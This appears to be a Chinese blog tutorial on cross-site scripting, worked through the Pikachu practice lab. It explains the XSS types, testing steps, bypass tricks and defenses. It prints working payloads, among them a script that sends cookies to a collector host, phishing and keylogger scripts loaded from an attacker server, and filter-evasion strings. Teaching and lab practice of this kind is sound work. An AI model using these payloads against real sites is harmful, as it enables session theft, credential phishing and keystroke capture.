XSS跨站脚本攻击

一、什么是 XSS 

XSS全称(Cross Site Scripting)跨站脚本攻击,是最常见的Web应用程序安全漏洞之一,位于OWASP top 10 2013/2017年度分别为第三名和第七名,XSS是指攻击者在网页中嵌入客户端脚本,通常是JavaScript编写的危险代码,当用户使用浏览器浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。 从上面中的一段话,可以得知,XSS属于客户端攻击,受害者最终是用户,但特别要注意的是网站管理人员也属于用户之一。这就意味着XSS可以进行“服务端”攻击,因为管理员要比普通用户的权限大得多,一般管理员都可以对网站进行文件管理,数据管理等操作,而攻击者一般也是靠管理员身份作为“跳板”进行实施攻击。 XSS攻击最终目的是在网页中嵌入客户端恶意脚本代码,最常用的攻击代码是javascript语言,但也会使用其它的脚本语言,例如:ActionScript、VBscript。而如今的互联网客户端脚本基本是基于Javascript,所以如果想要深入研究XSS,必须要精通Javascript。 XSS换句话说,JavaScript能做到什么效果,XSS的胃口就有多大。这完全不是危言耸听。javascript可以用来获取用户的cookie,弹出窗口,那么存在XSS漏洞的网站,XSS就可以用来盗取用户Cookie,废掉页面,导航到恶意网站!更高端的XSS代码完全可以进行监控你的键盘操作,模仿Windows注销界面,诱导你输入开机密码!而攻击者需要做的仅仅是向你的代码中注入Javascript代码! 

二、XSS漏洞出现的原因

程序对输入和输出的控制不够严格,导致"精心构造“的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。  

三、XSS的危害

1、首先对于那些半年没有更新的小企业网站来说,发生XSS漏洞几乎没有什么用。一般在各类的社交平台,邮件系统,开源流行的Web应用,BBS,微博等场景中,造成的杀伤力却十分强大。

 2、劫持用户cookie是最常见的跨站攻击形式,通过在网页中写入并执行脚本执行文件(多数情况下是JavaScript脚本代码),劫持用户浏览器,将用户当前使用的sessionID信息发送至攻击者控制的网站或服务器中。

 3、“框架钓鱼”。利用JS脚本的基本功能之一:操作网页中的DOM树结构和内容,在网页中通过JS脚本,生成虚假的页面,欺骗用户执行操作,而用户所有的输入内容都会被发送到攻击者的服务器上。

 4、挂马(水坑攻击) 

 5、有局限性的键盘记录。

四、 XSS分类 

 1、反射型XSS或不持久型XSS(中危) 交互的数据一般不会被存在在数据库里面,只是简单的把用户输入的数据反射给浏览器,一次性,所见即所得。 <?php $name = $_GET['name']; echo "Welcome $name<br>"; ?> 

 2、储存型XSS 或持久型 XSS(高危) 交互的数据会被存在在数据库里面,永久性存储,具有很强的稳定性。

 3、DOM XSS 不与后台服务器产生数据交互,通过前端的dom节点形成的XSS漏洞。 什么是DOM:DOM全称是Document Object Model,也就是文档对象模型。我们可以将DOM理解为,一个与系统平台和编程语言无关的接口,程序和脚本可以通过这个接口动态地访问和修改文档内容、结构和样式。当创建好一个页面并加载到浏览器时,DOM就悄然而生,它会把网页文档转换为一个文档对象,主要功能是处理网页内容。故可以使用 Javascript 语言来操作DOM以达到网页的目的。 http://www.w3school.com.cn/htmldom/index.asp <a href='"+str+"'>what do you see?</a> <a href='#' onclick="alert(1111)">what do you see?</a> <a href='#' onclick="alert(2222)">what do you see?</a>

 五、XSS可能存在的地方

(参考xss跨站脚本攻击文档) HTML context Attribute Context URL Context Style Context Script Context 

 六、XSS测试方法

 1、工具扫描:APPscan、AWVS 

 2、手工测试:Burpsuite、firefox(hackbar)、XSSER XSSF 使用手工检测Web应用程序是否存在XSS漏洞时,最重要的是考虑那里有输入,输入的数据在什么地方输出。在进行手工检测XSS时,人毕竟不像软件那样不知疲惫,所以一定要选择有特殊意义的字符,这样可以快速测试是否存在XSS。  

(1)在目标站点上找到输入点,比如查询接口,留言板等;

(2)输入一组"特殊字符+唯一识别字符",点击提交后,查看返回的源码,是否有做对应的处理;

(3)通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合);提交构造的脚本代码,看是否可以成功执行,如果成功执行则说明存在XSS漏洞;

 七、实战 

1、xss平台搭建及后台使用(cookie获取) '"><script>document.location = 'http://192.168.0.107/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script> //通过document.location 实例进行重定向到http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie= 

2、反射型XSS(POST)获取用户密码 post攻击利用页面 D:\phpStudy\WWW\pikachu\pkxss\xcookie\post.html http://192.168.0.103:8080/post.html

3、xss钓鱼演示 钓鱼攻击利用页面 D:\phpStudy\WWW\pikachu\pkxss\xfish <script src="http://192.168.0.107/pikachu/pkxss/xfish/fish.php"></script> 

 4、xss获取键盘记录演示 

(1)、什么是跨域 http:// www. oldboyedu.com :80 / news/index.php 协议 子域名 主域名 端口 资源地址 当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。

(2)、同源策略 为了安全考虑,所有浏览器都约定了“同源策略”,同源策略禁止页面加载或执行与自身来源不同的域的任何脚本既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象 那么为什么要有同源策略? 比如一个恶意网站的页面通过js嵌入了银行的登录页面(二者不同源),如果没有同源限制,恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码。 Tips:下面这些标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的 <script src="..."> //加载本地js执行 <img src="..."> //图片 <link href="..."> //css <iframe src="..."> //任意资源 

(3)、同源策略修改 D:\phpStudy\WWW\pikachu\pkxss\rkeypress\rkserver.php 同之前的案例到后台设置好Access-Control-Allow-Origin,设置为*,既允许所有人访问。

(4)rk.js关键代码解读 var realkey = String.fromCharCode(event.keyCode); //获取用户键盘记录,最后转化为字符串 xl+=realkey; //赋值给x1 show(); //调用show涵数,通过下面ajax进行post发送键盘记录人内容 输入设置好的恶意JS代码: <script src="http://192.168.0.101/pikachu/pkxss/rkeypress/rk.js"></script>然后在键盘上随意输入,就可以到xss平台上去查看键盘输入的结果。

 5.XSS盲打 

 XSS盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的情况下,提交恶意JS代码在类似留言板等输入框后,所展现的后台位置的情况下,网站采用了攻击者插入的恶意代码,当后台管理员在操作时就会触发插入的恶意代码,从而达到攻击者的目的。 管理员后台: http://http://192.168.0.101/pikachu/vul/xss/xssblind/admin_login.php 

 八、XSS绕过

大多数网站为了避免xss的攻击,对于攻击者的输入都采取了过滤的措施,导致攻击者通常不能正常插入恶意代码来达到攻击目的。但是仍存在一些漏洞可以利用,来绕过过滤措施。 xss绕过的方法有许多,主要取决于攻击者的思路和对前端技术的掌握,以下介绍几个简单的绕过方法。  

(1)对前端的限制可以尝试进行抓包重发或者修改前端的HTML。

(2)防止后台对输入的内容进行正则匹配来过滤输入,对于这样的过滤可以考虑大小写混合输入的方法。 例:<sCRipT>alert('你打篮球像oldboy')</sCrIPt> 

(3)防止后台对输入的内容进行替换,采用拼拼凑的输入方法。 例:<sc<script>ript>alert('你打篮球像oldboy')</scr<script>ipt> 

(4)使用注释来干扰后台对输入内容的识别。 例:<sc<!--test-->ript>alert('你打篮球像oldboy')</scr<!--tshauie-->ipt> 

(5)编码 思路:后台有可能会对代码中的关键字进行过滤,但我们可以尝试将关键字进行编码后在插入,浏览器对改编码进行识别时,会翻译成正常的代码。(注意:编码在输出时是否会被正常识别和翻译才是关键,不是所有的编码都是可以的) 例:使用事件属性onerror(): <img src=# onerror="alert('oldboy')"/> 使用HTML进行编码: <img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#121;&#97;&#110;&#103;&#115;&#104;&#117;&#97;&#110;&#103;&#39;&#41;"/>

 九、XSS绕过之htmlspecialchars()函数 

htmlspecialchars()函数把一些预定义的字符转换为 HTML 实体。 预定义的字符是: & (和号)成为 &amp " (双引号)成为 &quot ’ (单引号)成为&#039 < (小于)成为 &lt >(大于)成为 &gt 该函数的语法:htmlspecialchars(string,flags,character-set,double_encode) 过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号 可用的quotestyle类型: ENT_COMPAT - 默认。仅编码双引号 ENT_QUOTES - 编码双引号和单引号 ENT_NOQUOTES - 不编码任何引号 可使用以下语句绕过: q' onclick='alert(111)' 

 十、XSS常规防范

 XSS防御的总体思路是:

对输入进行过滤,对输出进行编码过滤:

根据业务需求进行过滤,比如输出点要求输入手机号,则只允许输入手机号格式的数字。 

转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面的进行JS转义(\)

 xss之href输出绕过:javascript:alert(1111) 直接代入a标签herf里面一样可以绕过htmlspecialchars xss之js输出绕过: <script> $ms='11'</script><script>alert(1111)</script> ; if($ms.length != 0){ if($ms == 'tmac'){ $('#fromjs').text('tmac确实厉害,看那小眼神..') }else { // alert($ms); $('#fromjs').text('无论如何不要放弃心中所爱..') } } </script>

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 215,384评论 6 497
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,845评论 3 391
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 161,148评论 0 351
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,640评论 1 290
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,731评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,712评论 1 294
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,703评论 3 415
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,473评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,915评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,227评论 2 331
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,384评论 1 345
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,063评论 5 340
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,706评论 3 324
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,302评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,531评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,321评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,248评论 2 352